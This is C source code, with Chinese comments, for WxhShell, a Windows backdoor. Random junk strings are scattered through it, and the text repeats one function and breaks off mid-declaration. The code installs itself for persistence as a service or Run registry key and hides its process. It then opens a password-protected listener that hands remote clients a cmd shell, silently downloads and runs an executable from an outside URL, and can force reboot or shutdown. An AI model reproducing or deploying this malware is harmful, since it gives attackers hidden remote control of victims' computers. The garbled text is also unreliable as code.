Tq[kl'_ 0i\M,TNf* if (!NtQueryInformationProcess) return 0; 4p,EBn9( '|8} z4/g hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GE%Z9#E if(!hProcess) return 0; P 'od` hFy;ffs. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DrY:9[LP ]Hefm?9*^ CloseHandle(hProcess); j~jV'f.:H =*c7i]@} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U"^kH| if(hProcess==NULL) return 0; ,N]H dR \=ux atw HMODULE hMod; (G;lx char procName[255]; U`NjPZe5^ unsigned long cbNeeded; '9
[vDG~ %1xb,g KO if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (jRm[7H ?En O"T. CloseHandle(hProcess); :fZ}o|t7 9Hb6nm if(strstr(procName,"services")) return 1; // 以服务启动 tne ST. L"1}V return 0; // 注册表启动 pUQ/03dp } E%,^Yvh/ I%j|D#qY:T // 主模块 PIoLywpRn int StartWxhshell(LPSTR lpCmdLine) 87
$dBb{ { .yqM7U_ SOCKET wsl; H2jgO?l;! BOOL val=TRUE; nG'&ZjA int port=0; Rnr(g;2 struct sockaddr_in door; Q/(K$6]j lvBx\e;7P if(wscfg.ws_autoins) Install(); koZ*+VP= qzKdQ&vO port=atoi(lpCmdLine); 2db3I:;E ZQ%'`q\c if(port<=0) port=wscfg.ws_port; ~-_kM EIf5(/jo WSADATA data; kwo3`b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KyYM fC (3Two} if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .*Ct bGw setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $j5K8Ad door.sin_family = AF_INET; emqZztccZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6z#acE1)M door.sin_port = htons(port); t4zkt!`B 9=8iy
w if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lhAX;s&9 closesocket(wsl); t\~P:" return 1; |y!=J$$_H } /v1Q4mq CYs,` if(listen(wsl,2) == INVALID_SOCKET) { fzb29 - closesocket(wsl); jET{Le8i return 1; hIs4@0 } H8Bs<2 Wxhshell(wsl); `>f6)C- WSACleanup(); (:TjoXXiY DEG[Z7Ju return 0; M "p n22zq6m } )_syZ1j {JZZZY!n2 // 以NT服务方式启动 Tc> VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .w=/+TA { r~jm`y DWORD status = 0; \E72L5nJW DWORD specificError = 0xfffffff; AN8`7F1 |:nOp(A\* serviceStatus.dwServiceType = SERVICE_WIN32; m? J0i>H
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4o
<Uy serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u~7hWiY<2 serviceStatus.dwWin32ExitCode = 0; H]{v;;'~ serviceStatus.dwServiceSpecificExitCode = 0; (C-{B[Y serviceStatus.dwCheckPoint = 0; r3&G)g=u serviceStatus.dwWaitHint = 0; |[<_GQl U@_dm/;0& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Ys %:>? if (hServiceStatusHandle==0) return; ZRh~`yy 5[k/s}g status = GetLastError(); Xx."$l if (status!=NO_ERROR) [YF>:ydk { nBjqTud
serviceStatus.dwCurrentState = SERVICE_STOPPED; [R(`W#W serviceStatus.dwCheckPoint = 0; Y!~49<; serviceStatus.dwWaitHint = 0; $+8cc\fq serviceStatus.dwWin32ExitCode = status; 0=@?ob7 serviceStatus.dwServiceSpecificExitCode = specificError; bv]`!g:
C SetServiceStatus(hServiceStatusHandle, &serviceStatus); LSa,1{ return; p4.wh|n } Se:.4< n7B7 m,@1 serviceStatus.dwCurrentState = SERVICE_RUNNING; $2oTkOA serviceStatus.dwCheckPoint = 0; "bFTk/ serviceStatus.dwWaitHint = 0; &gVN& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); we~[ ]
\
} :q$.,EZ4#n 0%9 q8M; // 处理NT服务事件,比如:启动、停止 zT=Ho
VOID WINAPI NTServiceHandler(DWORD fdwControl) j"ThEx0 { Y;dz,}re switch(fdwControl) 2iY3Lsna { f2Klt6"9 case SERVICE_CONTROL_STOP: mXRB7k serviceStatus.dwWin32ExitCode = 0; }iXDa?6% serviceStatus.dwCurrentState = SERVICE_STOPPED; \\r)Ue] serviceStatus.dwCheckPoint = 0; 2Nu=/tMN serviceStatus.dwWaitHint = 0; "Gfh ,e { 6}gls}[0{e SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1L%CJ+Q#0i } 8##-EN;ag return; #a/5SZP
Z\ case SERVICE_CONTROL_PAUSE: 8{wwd:6 serviceStatus.dwCurrentState = SERVICE_PAUSED; 9oRy)_5Z(= break; Tzt8h\Q^z case SERVICE_CONTROL_CONTINUE: -[*,^Ti` serviceStatus.dwCurrentState = SERVICE_RUNNING; SN9kFFIPb= break; m'Amli@[ case SERVICE_CONTROL_INTERROGATE: ''q@> break; O,+1<.;+ }; $?
m9") SetServiceStatus(hServiceStatusHandle, &serviceStatus); MW! srTQ_ } 7L`A{L )IP,;< // 标准应用程序主函数 iZ#!O*> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]{)a,c NG { *rM^;4Zt ,0~^>K // 获取操作系统版本 G"-?&)M#a OsIsNt=GetOsVer(); (7mAt3n
k GetModuleFileName(NULL,ExeFile,MAX_PATH); (|[2J3ZET @oNH@a
j% // 从命令行安装 *? 5*m+ if(strpbrk(lpCmdLine,"iI")) Install(); ;X8yFq EY^1Y3D w0 // 下载执行文件 opY@RJ] if(wscfg.ws_downexe) { gFeO}otm if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kW2sY^Rg WinExec(wscfg.ws_filenam,SW_HIDE); N+m)/x
=: } nGpXI\K T}Km?d if(!OsIsNt) { X\]L=>]C // 如果时win9x,隐藏进程并且设置为注册表启动 Pj#<K%Bz HideProc(); In:9\7~jC
StartWxhshell(lpCmdLine); t9,\Hdo } X\`_3= else |8&,b`Gfo if(StartFromService()) g-Mj.owu= // 以服务方式启动 X>1,!I9 StartServiceCtrlDispatcher(DispatchTable); sT !~J4 else 3VsW@SG7N // 普通方式启动 WzPTFw[ StartWxhshell(lpCmdLine); q
0$,*[PH 2QD3&Q9 return 0; 9i'jjN } ;
o?-yI&T* Q}1 R5@7 [=E &R[ Mc-2 =========================================== *EOdEFsR/ ?^H
`M|S _g+JA3sIJ -l`f)0{ "oTHq]Ku WB?jRYp " Keuf9u di?K"Z> #include <stdio.h> G^~k)6v=m #include <string.h> x^HGVWw_ #include <windows.h> SFB~
->db #include <winsock2.h> ^"VJd[Hn #include <winsvc.h> W}3.E "K #include <urlmon.h> 1%EBd%`# xe#FUS
3 #pragma comment (lib, "Ws2_32.lib") NgADKrDU #pragma comment (lib, "urlmon.lib") $LKIT0 }O/U;4Z #define MAX_USER 100 // 最大客户端连接数 hLI`If/+K #define BUF_SOCK 200 // sock buffer W}--p fG #define KEY_BUFF 255 // 输入 buffer qmnZAk !2 LCLN\ #define REBOOT 0 // 重启 NMW#AZVd #define SHUTDOWN 1 // 关机 jq-p;-i DQNnNsP:M- #define DEF_PORT 5000 // 监听端口 3
*d"B tg &%8'8,. #define REG_LEN 16 // 注册表键长度 ^$%S &W #define SVC_LEN 80 // NT服务名长度 M9Cv
wMi ZW-yP2 // 从dll定义API `NnUyQ;T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :j5n7s?&=y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o4`hY/<t typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0)%YNaskj typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P<PJ)> Ager$uC // wxhshell配置信息 E4gYemuN struct WSCFG {
*-+&[P]m int ws_port; // 监听端口 R?,an2 char ws_passstr[REG_LEN]; // 口令 ~J5+i9T.) int ws_autoins; // 安装标记, 1=yes 0=no 1q~+E\x char ws_regname[REG_LEN]; // 注册表键名 0]>u)% char ws_svcname[REG_LEN]; // 服务名 +!k&Yje char ws_svcdisp[SVC_LEN]; // 服务显示名 H9KKed47d/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 S\''e`Eb"5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8MK>)P o) int ws_downexe; // 下载执行标记, 1=yes 0=no l\BVS) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p`mS[bxv! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~3UQ|j {p)",)td }; #,S0HDDHn R?v>Q` Qi // default Wxhshell configuration Tu@8}C struct WSCFG wscfg={DEF_PORT, ;lq;X{/ "xuhuanlingzhe", &Flglj~7l 1, ;6gDV`Twy "Wxhshell", `Y
BC "Wxhshell", INcg S MM "WxhShell Service", X-
pqw~$ "Wrsky Windows CmdShell Service", 7q?9Tj3 "Please Input Your Password: ", F|F]970 1, $i&e[O7T; "http://www.wrsky.com/wxhshell.exe", $@sEn4h "Wxhshell.exe" un shH < }; FjK3
.>' 0T@ Zb={ // 消息定义模块 zw+B9PYqX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &yGaCq;0 char *msg_ws_prompt="\n\r? for help\n\r#>"; $h^wG)s2P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
u*e.yN char *msg_ws_ext="\n\rExit."; i#7DR>XF/ char *msg_ws_end="\n\rQuit."; WF2}-NU" char *msg_ws_boot="\n\rReboot..."; IKABB W char *msg_ws_poff="\n\rShutdown..."; A&s:\3*Kh char *msg_ws_down="\n\rSave to "; B,M(@5wz UV5Ie!\nm char *msg_ws_err="\n\rErr!"; 1lq(PGX)
char *msg_ws_ok="\n\rOK!"; %F\?R[^5 zBo1P(kek char ExeFile[MAX_PATH]; f_[<L int nUser = 0; t]>Lh>G HANDLE handles[MAX_USER]; &Q+Ln,(&L int OsIsNt; z|=}1;(. kV?y0J. SERVICE_STATUS serviceStatus; 9w"h SERVICE_STATUS_HANDLE hServiceStatusHandle; MA;1;uI, U2{ dN> // 函数声明 Z&ZP"P4 int Install(void); =NOH:#iQ int Uninstall(void); [OHxonU int DownloadFile(char *sURL, SOCKET wsh); |\QgX%
int Boot(int flag); Rz(QC\( void HideProc(void); -9"['-WH, int GetOsVer(void); 'I_Qb$ int Wxhshell(SOCKET wsl); 0zo?eI void TalkWithClient(void *cs); 9dFy"yxYa int CmdShell(SOCKET sock); +cIUGFp} int StartFromService(void); k9)jjR*XxG int StartWxhshell(LPSTR lpCmdLine); 6Pnk5ps }h < XP9@t&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Uh7v@YMC VOID WINAPI NTServiceHandler( DWORD fdwControl ); =.y~f A! D<|qaHB= // 数据结构和表定义 e"/;7:J5\ SERVICE_TABLE_ENTRY DispatchTable[] = ] x\-$~E { eK.e|z| {wscfg.ws_svcname, NTServiceMain}, j2Tr$gx< {NULL, NULL} >"gf3rioW }; W4[V}s5u -cZDGt // 自我安装 :80Z6F.k` int Install(void) ZaeqOVp/j { *_R]*o!W' char svExeFile[MAX_PATH]; [E+$?a= HKEY key; HHiT]S9 strcpy(svExeFile,ExeFile); W- i&sUgy Z^V6K3GSz- // 如果是win9x系统,修改注册表设为自启动 N5* u]j if(!OsIsNt) { +u!0rLb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XS`M-{f` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f~Fm4>\( RegCloseKey(key); P/xKnm~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R16'?, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XpmS{nb RegCloseKey(key); bA=
|_Wt return 0; (:._"jp] }
0dhF&*h|L } ktj]:rCkF } CK:y? else { Yiry["[]Q T_sTC)&a // 如果是NT以上系统,安装为系统服务 :/:.Kb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8aO~/i:(. if (schSCManager!=0) s_x:T<] { @7n/Q( SC_HANDLE schService = CreateService @kk4]:,w ( ojQI7 Uhw schSCManager, H,+I2tEs wscfg.ws_svcname, BDVHol*g wscfg.ws_svcdisp, m-H-6`] SERVICE_ALL_ACCESS, 9;Itqe{8w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gqcq,_?gt SERVICE_AUTO_START, !,[C]Q1 SERVICE_ERROR_NORMAL, qtiz a~u svExeFile, 4!+pc-}- NULL, '3TW [!m NULL, `9)t[7 NULL, Z-E`> NULL, *GxTX3i}vc NULL s:p[DEj- ); /rq VB|M if (schService!=0) S|apw7C { m>4ahue$ CloseServiceHandle(schService); q6_u@:3u CloseServiceHandle(schSCManager); JL\w_v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5m?8yT} strcat(svExeFile,wscfg.ws_svcname); Lg~B'd8m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IB#
@yH RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =
QQ5f5\l RegCloseKey(key);
Y^
kXSU return 0; vFE;D@bz: } ta`N8vnf } o4*+T8[|5 CloseServiceHandle(schSCManager); ;3\3q1oX } S:TgFt0 } e*@{%S A-,up{g return 1; ##@$|6 } ?CC"Yij )Psb>'X // 自我卸载 %^I88,$&L int Uninstall(void) K?s+ 3 { cgl*t+o& HKEY key; 9AxCiT. w=^`w:5X if(!OsIsNt) { w QNxL5B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1AG=%F|. RegDeleteValue(key,wscfg.ws_regname); `}BF${vF RegCloseKey(key); X@k`3X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d+X}cq= RegDeleteValue(key,wscfg.ws_regname); Kw8u`$Ad7 RegCloseKey(key); A|L 8P return 0; slg ]#Dy } HPb]Zj } ,$'])A?$ } Ps%qfL\ else { NZ/yBOD( J9\a{c;. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9cEv&3 if (schSCManager!=0) F>]m 3( { Mk=mT3=# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %g1,Nk if (schService!=0) ^
<Pq,u%k { YnxRg if(DeleteService(schService)!=0) { n|b5? 3 CloseServiceHandle(schService); |N}P(GF CloseServiceHandle(schSCManager); H^.IY_I`U* return 0; 6oLwfTy } 0
;b[QRmy CloseServiceHandle(schService); b&=5m } wk6NG/< CloseServiceHandle(schSCManager); rS4@1`/R } vG;zJ#c } IkrF/$r u0#}9UKQ return 1; >.'<J] } \MjJ9u `8 NPd%M // 从指定url下载文件 =JKv:</.G int DownloadFile(char *sURL, SOCKET wsh) mt5KbA>nU { /9zE^YcT HRESULT hr; V5GW:QT char seps[]= "/"; Ma8_:7`>O char *token; rg{9UVj char *file; i&vaeP25) char myURL[MAX_PATH]; v.:3"<ur} char myFILE[MAX_PATH]; uu}x@T@ '=1KVE^Fk strcpy(myURL,sURL); [@Q_(LQ-U token=strtok(myURL,seps); -
/(s#D while(token!=NULL) /v/C<] { H"C[&r file=token; {}QB|IH` token=strtok(NULL,seps); -S$1Yn } Nnk@h mcn 2Wt GetCurrentDirectory(MAX_PATH,myFILE); ~BDu$ strcat(myFILE, "\\"); n Ps7c % strcat(myFILE, file); /F4pb]U!* send(wsh,myFILE,strlen(myFILE),0); 81hbk(( send(wsh,"...",3,0); .\8X[%K9nc hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y_HN6 if(hr==S_OK) T"&)&"W*U return 0; FL8g5I else - !>}_AH return 1; : C b&v07 AgRjr"hF*e } 1fo
U 59zENUYl // 系统电源模块 zH>hx5,k'X int Boot(int flag) @#P,d5^G
{ vjQb%/LWl HANDLE hToken; ?Q-h n:F) TOKEN_PRIVILEGES tkp; mk3_ /;tPNp{!dw if(OsIsNt) { wWSdTLX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NTS#sgP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k6Uc3O tkp.PrivilegeCount = 1; u~3%bJ] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vk>b#%1{ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~}!3G if(flag==REBOOT) { ?[&2o| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u$D*tqxG return 0; (u]N } ?x+Z)`w_ else { O/.Uh`T`6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *dvDap|8W return 0; 8a_[B~ } v3GwD00 } M@3"<[g else { @ JvPx 0 if(flag==REBOOT) { @h*fFiY&{ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HLBkR>e return 0; "wlt> SU } Ov#=]t5 else { I+!:K|^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $t5V=}m> return 0; P
i Fm| } Fbu5PWhlc } RN)dS>$ 3SSm5{197 return 1; 4;HJ;0-ps } 6Z`R#d #I Cn>ADWpT& // win9x进程隐藏模块 k^ YO%_ void HideProc(void) <,AS8^$X[ { _DrJVC~6@ =l.+,|ZH! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); etd&..]J if ( hKernel != NULL ) D;I6Q1I { 0W3i() pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >(y<0
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gtYAHi FreeLibrary(hKernel); `\X+ Ud| } 3:{yJdpg U~W?s(Cy% return; urvduE } (mtoA#X1:h s;1]tD // 获取操作系统版本 S,U
Pl}KF int GetOsVer(void) /B5-Fx7j3 { GZ{]0$9I' OSVERSIONINFO winfo; ,+g&o^T winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f50L,4, GetVersionEx(&winfo); xAu/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,v&L:a return 1; +kq'+ Y7 else i5>+}$1 return 0; 5@hNnh16 } O$kq`'9
peJKNX.!q // 客户端句柄模块 '+
xu#R int Wxhshell(SOCKET wsl) [xh*"wT#g { 8vuCc= SOCKET wsh; $5L0.$Tj struct sockaddr_in client; ,*]d~Y DWORD myID; 66#" 7 ~ztwL while(nUser<MAX_USER) +fx8muz:y { }Z
TGi,Pc int nSize=sizeof(client); Fkf97Oi wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BYY RoE[P if(wsh==INVALID_SOCKET) return 1; :L_BG)dM 341?0%= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0wFH!s/B if(handles[nUser]==0) 2Bk$ lx7 closesocket(wsh); ;Nr ]X else *WE1;msr nUser++; 3x~{QG5Gn } _U{([M>; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #{9G sD |!q$_at return 0;
@HBEt^! } +3i7D },5'z{3E // 关闭 socket N~g:Wf! void CloseIt(SOCKET wsh) BZb]SoAL { n,~;x@=5 closesocket(wsh); !GW,\y nUser--; aZKOY ExitThread(0); r-kMLw/)
} GHF_R,7 o$C|J]% // 客户端请求句柄 ?R-9W+U%f void TalkWithClient(void *cs) qzFQEepso { $T<}y_nHl 5efxEt>U SOCKET wsh=(SOCKET)cs; g(O;{Q_ char pwd[SVC_LEN]; ;WT{|z char cmd[KEY_BUFF]; $6F)R| char chr[1]; =e><z9hY int i,j; iqhOi|! 0)9"M.AIvo while (nUser < MAX_USER) { 55t\B ms{ l7JY]?p if(wscfg.ws_passstr) { 5cK@WE: if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Px5t,5xT8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'SLE;_TD //ZeroMemory(pwd,KEY_BUFF); o5\b'hR*# i=0; Aa?I8sbc while(i<SVC_LEN) {
u@p? )'Wb&A' // 设置超时 M}DH5H"s fd_set FdRead; @c'|Iqy` struct timeval TimeOut; .bf<<+'o FD_ZERO(&FdRead); <DH*~tLp2 FD_SET(wsh,&FdRead); i`)!X:j TimeOut.tv_sec=8; tvX>{-M TimeOut.tv_usec=0; Fv?=Z-wk int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z"DkFvA if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A>NsKWf{ XE}H 3/2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %o?IsIys pwd=chr[0]; Pw@olG'Ah if(chr[0]==0xd || chr[0]==0xa) { 5&CDHc7Oj pwd=0; rZ_>`}O2 break; VohhQ } ]%RNA:(F' i++; P&*sB%B } +VEU:1Gt )[&_scSa // 如果是非法用户,关闭 socket @\(v X ] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?IX!+>.H } OlxX.wP Q\{x)|{$ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &"uV~AM send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w W$(r- ovf/;Q/} while(1) { WW@"Z}?k &jV_"_3n ZeroMemory(cmd,KEY_BUFF); ~9D~7UR ^_p%Yv // 自动支持客户端 telnet标准 d0er^ ~ j=0; %u p}p/? while(j<KEY_BUFF) { ;52'}%5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Jf:,y~mV cmd[j]=chr[0]; +rNkN:/L if(chr[0]==0xa || chr[0]==0xd) { TrE3S'EU#R cmd[j]=0; YpdNX.P, break; FM^9}* } <c,~aq#W' j++; ++[5q+b } d]0a%Xh[ W( *V2<$o // 下载文件 Em13dem if(strstr(cmd,"http://")) { N~=A send(wsh,msg_ws_down,strlen(msg_ws_down),0); [A~G- if(DownloadFile(cmd,wsh)) i cUT<@0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); *QE<zt else Z&!!]"I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j?(!^ _!m } /jD-\,:L} else { ),@f6]( /k:$l9C[ switch(cmd[0]) { 83]PA<R 'bW5Fr>W // 帮助 ]]iO- } case '?': { +1{fzb>9_ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ((DzUyK break; Edt}",s7 } Ruh)^g // 安装 pe04#zQK case 'i': { p5]_}I`+2 if(Install()) BQgoVnQo_c send(wsh,msg_ws_err,strlen(msg_ws_err),0); oJ;rc{n- else 0.(<'!"y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z/ bB
h break; utO.WfWP } X} JOX9pK // 卸载 "HQF.#\# case 'r': { Yx?aC!5M if(Uninstall()) @Gjny BJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); X,fu! else A[/I#Im7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ):6- break; {E,SHh } Iz\1~ // 显示 wxhshell 所在路径 Z>A{i?#m case 'p': { -$4kBYC l+ char svExeFile[MAX_PATH]; -6E K#!+ strcpy(svExeFile,"\n\r"); H/cTJ9zz strcat(svExeFile,ExeFile); h_
!>yK send(wsh,svExeFile,strlen(svExeFile),0); Q .RO break; jMpa?Jp 1 } SN]LeXesS // 重启 ,jh~;, w2 case 'b': { *v #/Y9} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i+(GNcg2 if(Boot(REBOOT)) Dm{Ok#@r2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); T |"`8mG else { r?p{LF closesocket(wsh); juno.$
6 ExitThread(0); 3o8\/-*< } Y)p4]>lT+8 break; Gbb\h } ! *a[jhx // 关机 [e4![G&y` case 'd': { 6$e]i|e send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (r F?If if(Boot(SHUTDOWN)) d/j@_3' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5:gj&jt;)7 else { QUP|FIpZ closesocket(wsh); _PB@kH# ExitThread(0); o bGWxI%a } wGXwzU break; wJIB$3OT } Ph)|j&] // 获取shell 6v47 QW|' case 's': { O-GxUHwWr CmdShell(wsh); %Y',|+Arx closesocket(wsh); z}APR@?`n8 ExitThread(0); P/aDd@j break; t .=Oj } 5+L8\V9; // 退出 :('I)C case 'x': {
GXeAe}T send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HF4Lqh'oco CloseIt(wsh); s-6:N9- break; jH0Bo; } 1xC`ZhjcD // 离开 J:};n@< case 'q': { ~%P3Pp send(wsh,msg_ws_end,strlen(msg_ws_end),0); e[4V%h closesocket(wsh); Yo'K pdn WSACleanup(); (T;9us0 exit(1); 1ih* gJPpj break; R+Lk~X^*l' } >l2w::l% } W78o*z[O } 84Zgo=P} 5;
f\0<- // 提示信息 Tk+DPp^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $c9=mjwH } )>$^wT } kIM
C~Z 9.-47|-9C return; oc;VIK)g]c } H ja^edLj uGCtLA+sL // shell模块句柄 ]L(54q;W int CmdShell(SOCKET sock) ,wTg$g-$ { B/_6Ieb+ STARTUPINFO si; Sh$U-ch@ ZeroMemory(&si,sizeof(si)); #~e9h9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,i![QXZ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0BXs&i-TP5 PROCESS_INFORMATION ProcessInfo; ^srs$
w] char cmdline[]="cmd"; \_>?V5( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7vNtv9 return 0; @\$Keg=>: } xppkLoPK %yhI;M^ // 自身启动模式 >;}]pI0T int StartFromService(void) K P6PQgc { LaT8l?q q typedef struct ^Y<M~K972 { ?%;B`2 nDR DWORD ExitStatus; L5C2ng> DWORD PebBaseAddress; w .l|G,%= DWORD AffinityMask; }{=8&gA0 DWORD BasePriority; /&QQ p3 ULONG UniqueProcessId; x_|>n<Z ULONG InheritedFromUniqueProcessId; qOgtGN}k } PROCESS_BASIC_INFORMATION; bQV("~#
2$)mC9 PROCNTQSIP NtQueryInformationProcess; 1gk0l'.z X#7}c5^Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PvuAg(? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *k[kV _Z.;u0Zp8 HANDLE hProcess; c.-cpFk^L& PROCESS_BASIC_INFORMATION pbi; .t:DvB bN!u}DnN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p_gA/. v= if(NULL == hInst ) return 0; 4JSZ0:O Kt6C43]7 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #~*XDWvIS~ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T N Ist NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Z!@'YB v*Xk WH5 if (!NtQueryInformationProcess) return 0; uZ<%kV1B
,| <jjq) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -[<vYxX:h: if(!hProcess) return 0; K+-z Y[3 F'ENq6 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &|NZ8:*+# 3FuCW CloseHandle(hProcess); _y"a2M a>?p.!BM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LhZZc`|7t if(hProcess==NULL) return 0; -B,c B <oZ(n g@X HMODULE hMod; A$N+9n\ char procName[255]; oL)lyUVT unsigned long cbNeeded; &p)@8HY S_j1=6#^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +`9yZOaC# >mew"0Q CloseHandle(hProcess); KZZOi: 5U3qr*/ ;m if(strstr(procName,"services")) return 1; // 以服务启动 p!QR3k.9s m}rh|x/? return 0; // 注册表启动 7^&lbzVbm( } YK7 \D: =#b4c> // 主模块 i'Wcf1I-= int 